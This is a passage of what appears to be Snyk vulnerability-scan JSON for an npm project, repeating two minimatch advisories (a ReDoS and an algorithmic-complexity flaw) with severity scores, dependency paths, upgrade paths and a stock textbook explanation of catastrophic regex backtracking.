total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } 